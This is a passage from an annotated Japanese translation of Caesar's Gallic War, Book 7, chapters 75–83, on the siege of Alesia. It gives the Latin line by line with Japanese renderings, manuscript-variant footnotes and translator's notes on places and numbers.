**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Senonibus「セノネース族」は既出のためスエッスィオネス族などに書き替える修正提案がなされ、以下は校訂版によっては兵数がずれる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;しかし、スエッスィオネス族 Suessiones は[[ガリア戦記 第2巻#12節|第2巻12節]]でレーミー族を通じてカエサルに降伏しており、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;第8巻6節でも「レーミー族に委ねられていた」「同盟者」と記されているので、アレスィアには出兵していないであろう。）&lt;/span&gt;
*Aulercis Cenomanis totidem; Atrebatibus IIII; 
**アウレルキ・ケノマニ族に同じだけ多く（5千）。アトレバテス族に4(千)。
*Veliocassis, Lexoviis et Aulercis Eburovicibus terna; 
**ウェリオカッセス族、レクソウィイ族とアウレルキ・エブロウィケス族に3(千)ずつ。
*Rauracis et Boiis&lt;ref&gt;Boiis はα系写本の記述で、β系写本では Bois となっている。&lt;/ref&gt; bina; 
**ラウラキ族とボイイ族に2(千)ずつ。
*XXX&lt;ref&gt;XXX はα系写本の記述で、さまざまな修正提案がなされている。&lt;/ref&gt; milia universis civitatibus, quae Oceanum attingunt 
**&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接する諸部族全体に3万。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は写本により異なっており、混乱している。）&lt;/span&gt;
*quaeque eorum consuetudine Aremoricae appellantur, 
**それらは、彼ら（ガッリア人）の慣習でアレモリカエと呼ばれており、
*quo sunt in numero Coriosolites, Redones, Ambibarii, Caletes, Osismi, Veneti, Lemovices, Unelli. 
**コリオソリテス族、レドネス族、アンビバリイ族、カレテス族、オスィスミ族、ウェネティ族、レモウィケス族、ウネッリ族がそれらに数えられる。
*⑤　Ex his Bellovaci suum numerum non compleverunt&lt;ref&gt;compleverunt はα系写本の記述で、β系写本では contulerunt となっている。&lt;/ref&gt;, 
**これらのうちで、ベッロウァキ族は、自分たちの（割り当てられた）数を満たさなかった。
*quod se suo nomine atque arbitrio cum Romanis bellum gesturos dicebant 
**というのは、彼らは自らの名と裁量でもってローマ人と交戦するであろうと言ったのだ。
*neque cuiusquam imperio obtemperaturos; 
**（自分たちは）何者の命令にも服従しないであろう、と。
*rogati tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; Commio pro eius hospitio duo milia una miserunt.
**けれども、[[w:コンミウス|コンミウス]]の懇願により、彼を賓客としているために、2千名を一緒に送り出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は要求された兵数の5分の1しか出さなかったが、第8巻22節ではこの出兵をも含めてカエサルから責められる。）&lt;/span&gt;

===76節===
'''コンミウスもガッリア同盟軍に内応、約25万の大軍が集結'''
*①　Huius opera Commii, ut antea demonstravimus, fideli atque utili 
**前に述べたように、この[[w:コンミウス|コンミウス]]の信頼すべき有益な働きを
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第4巻#21節|第4巻21節]]･[[ガリア戦記 第4巻#27節|27節]]･[[ガリア戦記 第4巻#35節|35節]]、[[ガリア戦記 第5巻#22節|第5巻22節]]、[[ガリア戦記 第6巻#6節|第6巻6節]]を参照。）&lt;/span&gt;
*superioribus annis erat usus in [[w:la:Britannia Maior|Britannia]] Caesar; 
**カエサルは先年（BC55～54年）に[[w:ブリタンニア|ブリタンニア]]において役立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：コンミウスは、[[w:ローマによるブリタンニア侵攻 (紀元前55年-紀元前54年)|カエサルのブリタンニア侵攻]]の先導役を務めていた。後にブリタンニアで王となる。）&lt;/span&gt;
*quibus ille pro meritis civitatem eius immunem esse iusserat, 
**彼（カエサル）はそれらの功績の見返りに、彼（コンミウス）の部族が免税となることを命じており、
*iura legesque reddiderat atque ipsi Morinos attribuerat. 
**権能や法度を元に戻してやり、（コンミウス）自身にモリニ族（の統治）をも委ねていた。
*②　Tamen tanta&lt;ref&gt;tamen tanta はα系写本の記述で、β系写本では tanta tamen となっている。&lt;/ref&gt; universae Galliae consensio fuit libertatis vindicandae et pristinae belli laudis recuperandae, 
**けれども、自主独立が求められるべきで、かつての戦争の誉れが取り戻されるべきだという、ガッリア全体の合意があった。
*ut neque beneficiis neque amicitiae memoria moverentur 
**その結果、（カエサルからの）厚遇にも友情の記憶にも揺り動かされず、
*omnesque et animo et opibus in id bellum incumberent. 
**（ガッリアの）皆が闘志によっても兵力によっても、その戦争に没頭していたのだ。
*③　Coactis equitum milibus VIII(octo) et peditum circiter CCL(ducenti quinquaginta)&lt;ref&gt;CCL はβ系写本の記述で、α系写本では CCXL または CCXXXX となっている。&lt;/ref&gt; 
**[[w:騎兵|騎兵]]8千騎と[[w:歩兵|歩兵]]およそ250(千)名が徴集されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵の数は、β系写本では25万、α系写本では24万と異なっている。）&lt;/span&gt;
*haec in Haeduorum finibus recensebantur, numerusque inibatur, praefecti constituebantur. 
**これら（の軍勢）が[[w:ハエドゥイ族|ハエドゥイー族]]の領土で閲兵されて、数が見積もられて、指揮官たちが決められた。
*④　Commio Atrebati, Viridomaro et [[w:la:Eporedorix|Eporedorigi]] [[w:la:Haedui|Haeduis]], 
**アトレバテス族の[[w:コンミウス|コンミウス]]、ハエドゥイー族のウィリドマルスとエポレドリクス、
*[[w:la:Vercassivellaunus|Vercassivellauno]] Arverno, consobrino Vercingetorigis, summa imperii traditur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の従兄弟である[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスに、最高司令権が託された。
*His delecti ex civitatibus attribuuntur, quorum consilio bellum administraretur. 
**彼らに、諸部族から選ばれた者たちが付与されて、その者たちの協議により戦争が指導された。
*⑤　Omnes alacres et fiduciae pleni ad [[w:la:Alesia|Alesiam]] proficiscuntur, 
**皆が、活気があって自身に満ち、[[w:アレシア|アレスィア]]へ向けて出発した。
*⑥　neque erat omnium quisquam qui adspectum modo tantae multitudinis sustineri posse arbitraretur, 
**これほどの大軍を一見しただけで持ちこたえられる者は、誰一人いないと思われた。
*praesertim ancipiti proelio, 
**とりわけ（内周と外周の）両面の戦闘で、
*cum ex oppido eruptione pugnaretur, foris tantae copiae equitatus peditatusque cernerentur.
**城塞都市からは出撃により戦われ、外からは騎兵と歩兵のこれほどの軍勢が視認されるのであるから。

===77節===
'''飢餓状態のアレスィアで、クリトグナトゥスが極論を唱える'''
*①　At ii qui [[w:la:Alesia|Alesiae]] obsidebantur 
**ところが、[[w:アレシア|アレスィア]]に包囲されていた者たちは、
*praeterita die qua auxilia suorum exspectaverant, 
**味方の援軍を待ち望んでいた日も経過して、
*consumpto omni frumento, 
**すべての糧食を消費し尽くして、
*inscii quid in [[w:la:Haedui|Haeduis]] gereretur, 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところにおいて何がなされているのかを知らず、
*concilio coacto de exitu suarum fortunarum consultabant. 
**会合を召集して、自分たちの命運の結末について協議した。
*②　Ac variis dictis sententiis 
**そして、さまざまな意見が述べられた。
*quarum pars deditionem, 
**それらの一部は降伏を、
*pars dum vires suppeterent eruptionem censebat, 
**別の一部は、活動力が十分にある間に突撃することを考慮していた。
*non praetereunda oratio [[w:la:Critognatus|Critognati]] videtur propter eius singularem et nefariam crudelitatem. 
**クリトグナトゥスの演説は、彼の特異で非道な残酷さのために、看過されるべきではないと思われる。

&lt;br&gt;
'''クリトグナトゥスの演説が始まる'''
*③　Hic summo in Arvernis ortus loco et magnae habitus auctoritatis, 
**彼は、[[w:アルウェルニ族|アルウェルニー族]]において最高の身分に生まれ、大きな影響力を持つとみなされていた。

&lt;br&gt;
'''降伏論者は最低の輩だ'''
*&quot;Nihil&quot; inquit &quot;de eorum sententia dicturus sum, qui turpissimam servitutem deditionis nomine appellant, 
**「最も恥ずべき隷属を降伏という名で呼んでいる者たちの意見については、（私は）何も述べないであろう」と言った。
*neque hos habendos civium loco neque ad concilium adhibendos censeo. 
**「この者たちは市民の身分を持つべきではないし、会合へ招き入れられるべきでもない、と（私は）考える。

&lt;br&gt;
'''突撃論者には辛抱が欠けている'''
*④　Cum his mihi res sit, qui eruptionem probant; 
**突撃に賛同した者たちとともに、私の関わりはあるべきだ。
*quorum in consilio omnium vestrum consensu 
**その者たちの考えには、君たち皆の同意があるだろうし、
*pristinae residere virtutis memoria videtur. 
**かつての武勇の記憶が残っていることと思われる。
*⑤　Animi est ista mollitia, non virtus, paulisper inopiam ferre non posse. 
**しばらくの間も（糧食の）欠乏に耐えることができない（君らの）ことは、気の弱さであって、武勇ではない。
*Qui se ultro morti offerant facilius reperiuntur quam qui dolorem patienter ferant. 
**自発的に玉砕して逝った者たちは、苦痛に辛抱強く耐えた者たちよりも、より容易に見出されるのだ。
*⑥　Atque ego hanc sententiam probarem ─tantum apud me dignitas potest─, 
**しかし私は（突撃という）この意見に賛同したであろう。それほど、私にとっても価値がある。
*si nullam praeterquam vitae nostrae iacturam fieri viderem; 
**（ただし）もし、我々（ガッリア勢）の生命が投げ出されること以外に（方策が）何もないと思ったならばだ。
*⑦　sed in consilio capiendo omnem Galliam respiciamus, quam ad nostrum auxilium concitavimus. 
**けれども、作戦を立てるに当たっては、我々のために援軍を（我々が）呼び寄せた全ガッリアを顧慮しよう。
*⑧　Quid hominum milibus LXXX(octoginta) uno loco interfectis 
**（我々ガッリア勢）8万の人間が（アレスィア）1か所で殺戮されたら、
*propinquis consanguineisque nostris animi fore existimatis, 
**我々の親類縁者たちの士気はどうなると（君らは）判断しているのか。
*si paene in ipsis cadaveribus proelio decertare cogentur? 
**もし、ほとんど（我々）自身の亡骸の中で（味方が）決戦することを強いられたら？
*⑨　Nolite hos vestro auxilio exspoliare qui vestrae salutis causa suum periculum neglexerunt, 
**君らの身の安全のために、己の危険を顧みなかった者たちのことを、君らが援助すること（の機会）を奪わないでくれ。
*nec stultitia ac temeritate vestra aut animi imbecillitate omnem Galliam prosternere et perpetuae servituti subicere. 
**君らの愚かさや無思慮、または心の弱さによって、全ガッリアを滅ぼすことや永久の隷属に委ねることがないように。

&lt;br&gt;
'''ローマ人たちが恐れているのを見よ'''
*⑩　An quod ad diem non venerunt, de eorum fide constantiaque dubitatis? 
**それとも（援軍が）期日までにやって来なかったので、彼らの誠実さや剛直さについて（君らは）疑っているのか？
*Quid ergo? 
**それでは（あれは）何だ？
*Romanos in illis ulterioribus munitionibus animine causa cotidie exerceri putatis? 
**ローマ人たちがあの向こう側の塁壁のところで、趣味のために毎日たえず働かされていると（君らは）思うのか？
*⑪　Si illorum nuntiis confirmari non potestis omni aditu praesaepto, 
**もし、すべての出入口を（防柵で）遮られて、（援軍の到来を）彼らの伝令により（君らが）確証できないのならば、
*his utimini testibus adpropinquare eorum adventum, 
**こちらの者たち（ローマ人）を、彼ら（援軍）の到来が近づいている証人として示せ。
*cuius rei timore exterriti diem noctemque in opere versantur. 
**（援軍の到来という）その事態の恐れに戦慄して（ローマ人たちは）昼も夜も工事に従事しているのだ。

&lt;br&gt;
'''クリトグナトゥスの意見は？'''
*⑫　Quid ergo mei consilii est? 
**それでは、私の考えは何であるか？
*Facere quod nostri maiores nequaquam pari bello Cimbrorum Teutonumque fecerunt: 
**我々の先祖たちが（今回とは）決して比べものにならない[[w:キンブリ・テウトニ戦争|キンブリ族・テウトニ族との戦争]]でしたことをするのだ。
*qui in oppida compulsi ac simili inopia subacti 
**彼ら（先祖たち）は、[[w:オッピドゥム|城塞都市]]に押し込められて、（今回と）似たような欠乏により衰弱させられて、
*eorum corporibus, qui aetate ad bellum inutiles videbantur, vitam toleraverunt 
**加齢により戦争に役立たないと思われた者たちの肉体（を食べること）によって、生命を持ちこたえて、
*neque se hostibus tradiderunt. 
**敵方に降伏しなかったのだ。
*⑬　Cuius rei si exemplum non haberemus, 
**もし、そういう事態の先例を我々が持たなかったとしても、
*tamen libertatis causa institui et posteris prodi pulcherrimum iudicarem. 
**けれども、自由のために、最も栄誉なことが決断され、子孫たちに伝えられることと、私は思いたい。
*⑭　Nam quid illi simile bello fuit? 
**実際、あの戦争に（今回と）似ている何があっただろうか？
*Depopulata Gallia Cimbri magnaque inlata calamitate 
**キンブリ族はガッリアを荒らしまわって、大きな災禍をもたらしたが、
*finibus quidem nostris aliquando excesserunt atque alias terras petierunt; 
**あるとき我々の領土から立ち去って、他の土地を求めて行った。
*iura, leges, agros, libertatem nobis reliquerunt. 
**権限、法度、耕地、自由を我々（ガッリア人）に残して行ったのだ。
*⑮　Romani vero quid petunt aliud aut quid volunt 
**しかし、ローマ人たちは（以下に挙げることの）他に何を求め、何を欲しているのだろうか。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「しかし、ローマ人が求め、欲しているのは、以下のことである」の意。）&lt;/span&gt;
*nisi invidia adducti quos fama nobiles potentesque bello cognoverunt, 
**高貴で戦争に力強い（ガッリアの）者たちを名声で知って羨望に駆られた以外には、
*horum in agris civitatibusque considere atque his aeternam iniungere servitutem? 
**彼らの土地や部族共同体に居座って、彼らを永遠の隷属を課すること以外には。
*Neque enim ulla alia condicione bella gesserunt. 
**実際、（ローマ人は）他のいかなる条件でも決して戦争を遂行したことがなかった。
*⑯　Quodsi ea quae in longinquis nationibus geruntur ignoratis, 
**もし、遠方の種族のところでなされていることを（君らが）知らないのであれば、
*respicite finitimam Galliam, 
**ガッリアの隣人たちを見渡しなさい。
*quae in provinciam redacta, 
**（彼らはローマの）[[w:属州|属州]]になることを余儀なくされ、
*iure et legibus commutatis, 
**権限や法度を変えられて、
*securibus subiecta perpetua premitur servitute.&quot;
**（ローマの）権力に服属させられて、永久の隷属に苦しめられているのだ。

===78節===
'''マンドゥビイ族の投降をカエサルが拒む'''
*①　Sententiis dictis 
**（いくつかの）意見が述べられて、
*constituunt ut ii, qui valetudine aut aetate inutiles sunt&lt;ref&gt;sunt はα系写本の記述で、β系写本では sint となっている。&lt;/ref&gt; bello, oppido excedant 
**（ガッリア人たちは）健康または年齢により戦争に役立たない者たちは[[w:オッピドゥム|城塞都市]]を退去するように決めた。
*atque omnia prius experiantur quam ad Critognati sententiam descendant; 
**さらに、クリトグナトゥスの意見に同意するよりも、まずあらゆることを試みるように（決めた）。
*②　illo tamen potius utendum consilio, 
**けれども（以下の場合には）むしろ彼（クリトグナトゥス）の意見を実行するべきだ。
*si res cogat atque auxilia morentur, 
**もし、事態が強いて、援軍が遅滞させられるのならば、
*quam aut deditionis aut pacis subeundam condicionem. 
**降伏あるいは講和条件を受諾することよりも（クリトグナトゥスの意見を実行するべきだ）、と。
*③　Mandubii qui eos oppido receperant, 
**彼ら（ガッリア勢）を城塞都市に受け入れていたマンドゥビイ族は、
*cum liberis atque uxoribus exire coguntur. 
**子供たちや妻女たちとともに（城塞都市から）出て行くことを強いられた。
*④　Hi cum ad munitiones Romanorum accessissent, 
**彼らは、ローマ人たちの塁壁のところへ近づいたときに、
*flentes omnibus precibus orabant, ut se in servitutem receptos cibo iuvarent. 
**自分たちを奴隷として受け入れて食糧で助けてくれるように、泣きながらあらゆる懇願で頼んだ。
*⑤　At Caesar dispositis in vallo custodibus&lt;ref&gt;custodibus はα系写本の記述で、β系写本では custodiis となっている。&lt;/ref&gt; recipi prohibebat.
**だが、カエサルは、防柵の中に番兵を分けて置き、（マンドゥビイ族を）受け入れることを禁じた。

===79節===
'''ガッリア同盟軍の来援、アレスィアの歓呼'''
*①　Interea Commius reliquique duces, quibus summa imperii permissa erat, 
**その間に、最高司令権を任されていた[[w:コンミウス|コンミウス]]とほかの将帥たちが、
*cum omnibus copiis ad Alesiam perveniunt 
**すべての軍勢とともに[[w:アレシア|アレスィア]]の辺りへ到着して、
*et colle exteriore occupato 
**より外側の丘陵を占拠して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のミュスィ＝ラ＝フォス村 [[w:fr:Mussy-la-Fosse|Mussy-la-Fosse]]&lt;ref&gt;[http://maps.google.com/maps?q=47.521944,4.438611&amp;hl=fr&amp;ie=UTF8&amp;ll=47.522012,4.438648&amp;spn=0.01849,0.027423&amp;t=h&amp;z=15 Google map]を参照。&lt;/ref&gt; のある丘陵であると思われる。）&lt;/span&gt;
*non longius mille passibus ab nostris munitionibus considunt. 
**我が方（ローマ勢）の塁壁から1ローママイル（約1.5km）ほども遠くないところに陣取った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のヴナレ＝レ＝ローム [[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]] 市街&lt;ref&gt;[http://maps.google.com/maps?q=47.542778,4.445833&amp;hl=fr&amp;ie=UTF8&amp;ll=47.543106,4.458475&amp;spn=0.036965,0.054846&amp;t=h&amp;z=14 Google map]を参照。&lt;/ref&gt;の周辺であると思われる。）&lt;/span&gt;
*②　Postero die equitatu ex castris educto 
**翌日に、[[w:騎兵|騎兵隊]]が陣営から進発させられて、
*omnem eam planitiem quam in longitudinem milia passuum III(tria)&lt;ref&gt;milia passuum III はβ系写本の記述で、α系写本では quattuor milia passuum などとなっている。&lt;/ref&gt; patere demonstravimus, complent 
**3ローママイル（約4.5km）の長さにわたり広がっていることを既述した平地のすべてを、満たした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#69節|69節]]を参照。現在のローム平原に当たると思われる。）&lt;/span&gt;
*pedestresque copias paulum ab eo loco abditas in locis superioribus constituunt. 
**[[w:歩兵|歩兵]]の軍勢を、その地からいくらか遠ざけて、より高いところに駐留させた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上記の丘陵のより高い所であると思われる。）&lt;/span&gt;
*③　Erat ex oppido Alesia despectus in campum. 
**アレスィアの[[w:オッピドゥム|城塞都市]]からは（その）平地に眺望があった。
*Concurrunt&lt;ref&gt;concurrunt はα系写本の記述で、β系写本では concurritur となっている。&lt;/ref&gt; his auxiliis visis; 
**これらの援軍が現われると（アレスィアのガッリア人たちは）群がり集まった。
*fit gratulatio inter eos 
**彼らの間で祝賀がなされて、
*atque omnium animi ad laetitiam excitantur. 
**皆の心が喜びへと鼓舞された。
*④　Itaque productis copiis ante oppidum considunt 
**こうして（アレスィアの）軍勢が出撃させられて、城塞都市の前に陣取って、
*et proximam fossam cratibus integunt atque aggere explent 
**最も近い堀を、柴で蔽って、土砂を充満させて、
*seque ad eruptionem atque omnes casus comparant.
**突撃やあらゆる有事に戦備を整えた。

===80節===
'''ゲルマニア騎兵らローマ勢が来援ガッリア騎兵をも打ち破る'''
*①　Caesar omni exercitu ad utramque partem munitionum&lt;ref&gt;munitionum はα系写本の記述で、β系写本では munitionis となっている。&lt;/ref&gt; disposito, 
**カエサルは、すべての[[w:歩兵|歩兵隊]]を、塁壁の（内周と外周）両側に分けて置き、
*ut, si usus veniat, suum quisque locum teneat et noverit, 
**もし、必要が生じたら、おのおのが自らの部署を知って固守するようにした。
*equitatum ex castris educi et proelium committi iubet. 
**[[w:騎兵|騎兵隊]]を陣営から進発させて、交戦することを命じた。
*②　Erat ex omnibus castris, quae summum undique iugum tenebant, despectus 
**至る所で尾根の頂きを占めていた（ローマ勢の）すべての陣営から（騎兵戦の）眺望があった。
*atque omnes milites intenti&lt;ref&gt;intenti はα系写本の記述で、β系写本では intenti animi、Fuchs は intentis animis と修正提案している。&lt;/ref&gt; pugnae proventum&lt;ref&gt;pugnae proventum はα系写本の記述で、β系写本では proventum pugnae となっている。&lt;/ref&gt; exspectabant. 
**すべての兵士たちは（観戦に）没頭して、戦いの結果を待っていた。
*③　Galli inter equites raros sagittarios expeditosque levis armaturae interiecerant, 
**ガッリア人たちは、弓兵たちと軽装歩兵たちをまばらに、騎兵たちの間に置いていて、
*qui suis cedentibus auxilio succurrerent 
**その者たち（弓兵と軽装歩兵）は、味方が後退するのを支援するために馳せ寄って、
*et nostrorum equitum impetus sustinerent. 
**我が方（ローマ勢）の騎兵の突撃に持ちこたえていた。
*Ab his complures de improviso vulnerati proelio excedebant. 
**彼らによって（ローマ側騎兵の）かなりの者たちが、思いがけず負傷させられて、戦闘から退いた。
*④　Cum suos pugna superiores esse Galli confiderent 
**ガッリア人たちが、味方が戦いで優勢であることを確信したとき、
*et nostros multitudine premi viderent, 
**かつ、我が方（ローマ勢）が多勢（のガッリア騎兵）により圧倒されているのを見て取ったときに、
*ex omnibus partibus et ii qui munitionibus continebantur 
**あらゆる方面から（ローマ勢の）塁壁によって囲まれていた者たちも、
*et hi&lt;ref&gt;hi はφ系･β系写本の記述で、χ系写本では ii となっている。&lt;/ref&gt; qui ad auxilium convenerant 
**（アレスィア）救援のために集結して来ていた者たちも、
*clamore et ululatu suorum animos confirmabant. 
**大声やわめき声によって味方の闘志を強めた。
*⑤　Quod in conspectu omnium res gerebatur 
**（両軍の）皆の環視の中で合戦が遂行されたので、
*neque recte ac&lt;ref&gt;ac はα系･π系写本の記述で、ρ系写本では aut となっている。&lt;/ref&gt; turpiter factum celari poterat, 
**立派な行為または見苦しい行為も隠されることができなかったので、
*utrosque et laudis cupiditas et timor ignominiae ad virtutem excitabant&lt;ref&gt;excitabant はB･M･L･N･R写本などの記述で、χ系･B･S･π系･U写本などでは excitabat となっている。&lt;/ref&gt;. 
**賞賛への功名心も、不名誉への恐れも、双方を武勇へと駆り立てた。
*⑥　Cum a meridie prope ad solis occasum dubia victoria pugnaretur, 
**正午から、ほぼ日没の頃まで、勝利が不確実なまま戦われていたときに、
*Germani una in parte confertis turmis 
**ゲルマニア人たちが、騎兵部隊を一か所に密集させて、
*in hostes impetum fecerunt eosque propulerunt; 
**敵方に突撃を行ない、彼ら（ガッリア騎兵）を駆逐した。
*⑦　quibus in fugam coniectis 
**その者たち（ガッリア騎兵）は逃亡に追いやられて、
*sagittarii circumventi interfectique sunt. 
**弓兵たちは包囲されて殺戮された。
*⑧　Item ex reliquis partibus nostri cedentes usque ad castra insecuti 
**我が方（ローマ勢）の残りの部隊も、撤退する（ガッリア騎兵の）者たちを陣営のところまで追撃して、
*sui colligendi facultatem non dederunt. 
**立ち直る機会を与えなかった。
*⑨　At ii qui ab [[w:la:Alesia|Alesia]] processerant, 
**そして、[[w:アレシア|アレスィア]]から進み出ていた者たちは、
*maesti prope victoria desperata se in oppidum receperunt.
**ほとんど絶望的な勝利に悲嘆して、城塞都市に退却した。

===81節===
'''ガッリア来援軍と籠城軍がローマ陣地に夜襲をしかける'''
*①　Uno die intermisso Galli 
**ガッリア人たちは一日を間に置いて、
*atque hoc spatio magno cratium, scalarum, harpagonum numero effecto 
**この間に、多数の柴、[[w:梯子|梯子]]、鉤竿を調達して、
*media nocte silentio ex castris egressi 
**真夜中に静けさのうちに陣営から進発して、
*ad campestres munitiones accedunt. 
**平地の（ローマ勢の）塁壁の辺りへ近づいた。
*②　Subito clamore sublato, qua significatione 
**突然に雄叫びを上げて、それを合図として、
*qui in oppido obsidebantur de suo adventu cognoscere possent, 
**[[w:オッピドゥム|城塞都市]]の中に包囲されている者たちが、自分たちの到来について認識できるようにした。
*crates proicere, fundis, sagittis, lapidibus nostros de vallo proturbare 
**柴を投げ込み、投石器で、矢で、石でもって我が方（ローマ勢）を防柵から追い出すこと、
*reliquaque quae ad oppugnationem pertinent parant administrare. 
**（塁壁の）攻略のために役立つほかのことに従事すること、を目論んだ。
*③　Eodem tempore clamore exaudito 
**同時に（来援軍の）雄叫びを聞き取って、
*dat tuba signum suis [[w:la:Vercingetorix|Vercingetorix]] atque ex oppido educit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、麾下の者たちにラッパで指図を与えて、城塞都市から進発させた。
*④　Nostri, ut superioribus diebus, suus cuique&lt;ref&gt;suus cuique はβ系写本の記述で、χ系･B･M･S写本では ut cuique となっている。&lt;/ref&gt; erat locus attributus, ad munitiones accedunt; 
**我が方（ローマ勢）は、以前の日々に、おのおのの部署が割り当てられており、塁壁のところへ近寄った。
*fundis librilibus sudibusque, quas in opere disposuerant, ac glandibus Gallos proterrent. 
**堡塁に分配されていたポンド投石器や杭、並びに玉によって、ガッリア人たちを追い払った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：librilis funda「ポンド投石器」；古代ローマの1ポンド [[w:la:Libra pondus|libra]] は約327グラム&lt;ref&gt;[[w:en:Ancient Roman units of measurement#Weight]]を参照。&lt;/ref&gt;。）&lt;/span&gt;
*⑤　Prospectu tenebris adempto multa utrimque vulnera accipiuntur. 
**眺望が暗闇により奪われて、双方が多くの傷を蒙った。
*Complura tormentis tela coniciuntur. 
**かなり多くの飛び道具が（巻上式）投石機によって投じられた。
*⑥　At [[w:la:Marcus Antonius|M.(Marcus) Antonius]] et [[w:la:Gaius Trebonius|C.(Gaius) Trebonius]] legati, 
**[[w:マルクス・アントニウス|マルクス・アントニウス]]と[[w:ガイウス・トレボニウス|ガイウス・トレボニウス]] [[w:レガトゥス|両副官]]は、
*quibus hae partes ad defendendum obvenerant, 
**この方面を防衛するために割り当てられていたが、
*qua ex parte nostros premi intellexerant, 
**我が方（ローマ勢）が押されぎみであると見なした一帯のために、
*his auxilio ex ulterioribus castellis deductos submittebant.
**この者たちを支援するために、向こう側の砦から引き出した者たちを（援兵として）派遣した。

===82節===
'''アレスィア内外のガッリア勢が障害物に阻まれて退く'''
*①　Dum longius ab munitione aberant Galli, 
**ガッリア人たちは（ローマ勢の）塁壁から遠くに離れていた間は、
*plus multitudine telorum proficiebant; 
**飛び道具の多さによって、前進していた。
*posteaquam propius successerunt, 
**（塁壁の方へ）さらに近くに進入して来た後では、
*aut se ipsi&lt;ref&gt;ipsi はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; stimulis inopinantes induebant 
**あるいは、思いがけず自ら「刺」に陥り、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：stimulus「刺」については、[[#73節|73節]]⑨項を参照。）&lt;/span&gt;
*aut in scrobes delati transfodiebantur 
**あるいは、穴に陥落して（「百合」で）突き刺されたり、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「穴」と「百合」については、[[#73節|73節]]⑤～⑧項を参照。）&lt;/span&gt;
*aut ex vallo ac turribus traiecti pilis muralibus interibant. 
**あるいは、防柵や櫓から[[w:ピルム・ムーリアリス|防壁槍]]で射抜かれて逝った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：防壁槍については、[[ガリア戦記 第5巻#40節|第5巻40節]]を参照。）&lt;/span&gt;
*②　Multis undique vulneribus acceptis 
**（ガッリア勢は）至る所で多くの傷を負ったが、
*nulla munitione perrupta, 
**どの（ローマ側の）塁壁も突破されなかった。
*cum lux appeteret, 
**&lt;ruby&gt;&lt;rb&gt;暁光&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょうこう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が（空を）染めたとき、
*veriti ne ab latere aperto ex superioribus castris eruptione circumvenirentur, 
**開けた側面から、（ローマ勢の）高所の陣営からの突撃によって包囲されないようにと怖れて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：開けた側面とは、盾で守られていない右側のこと。）&lt;/span&gt;
*se ad suos receperunt. 
**味方のところへ退却した。
*③　At interiores 
**それに対して、（アレスィア攻囲の）内側の者たちは、
*dum ea quae a [[w:la:Vercingetorix|Vercingetorige]] ad eruptionem praeparata erant&lt;ref&gt;praeparata erant は、写本(ω)ではpraeparaverant だが、このように修正提案されている。あるいは、a Vercingetorige が削除提案されている。&lt;/ref&gt; proferunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により、突撃のために準備していたものを運び出して
*priores fossas explent, 
**一番前の堀を埋めている間に、
*diutius in his rebus administrandis morati 
**これらの事に従事することに、より長く妨げられて、
*prius suos discessisse cognoverunt quam munitionibus adpropinquarent. 
**塁壁に近づくよりも前に味方（＝来援軍）が退去したことを知ったのだ。
*Ita re infecta in oppidum reverterunt.
**こうして、事は達成されていないものの、[[w:オッピドゥム|城塞都市]]に引き返した。

===83節===
'''ウェルカッスィウェッラウヌスが兵6万を率いて急所の丘へ向かう'''
*①　Bis magno cum detrimento repulsi Galli 
**大きな損害とともに二度も撃退されたガッリア人たちは、
*quid agant consulunt; 
**何をなすべきかを協議した。
*locorum peritos adhibent; 
**（その）土地に熟知した者たちを招いた。
*ex his superiorum castrorum situs munitionesque cognoscunt. 
**この者たちから、（ローマ勢の）高いところの陣営の位置や塁壁を調べ上げた。
*②　Erat a septentrionibus collis, 
**（アレスィアの）北方に丘陵があって、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：これは現在のレア山 le Mont R&amp;eacute;a であると思われ、山頂にはメネルー＝ル＝ピトワ村&lt;ref&gt;[[w:fr:Ménétreux-le-Pitois]]や[http://maps.google.fr/maps?f=q&amp;hl=fr&amp;geocode=&amp;q=m%C3%A9n%C3%A9treux+le+pitois&amp;sll=42.423457,8.789063&amp;sspn=23.611541,40.957031&amp;ie=UTF8&amp;t=h&amp;hq=&amp;hnear=M%C3%A9n%C3%A9treux-le-Pitois,+C%C3%B4te-d'Or,+Bourgogne&amp;ll=47.55475,4.460106&amp;spn=0.018507,0.010042&amp;z=15 Google map]などを参照。&lt;/ref&gt;がある。）&lt;/span&gt;
*quem propter magnitudinem circuitus 
**その周囲の大きさのために、
*opere circumplecti non potuerant nostri, 
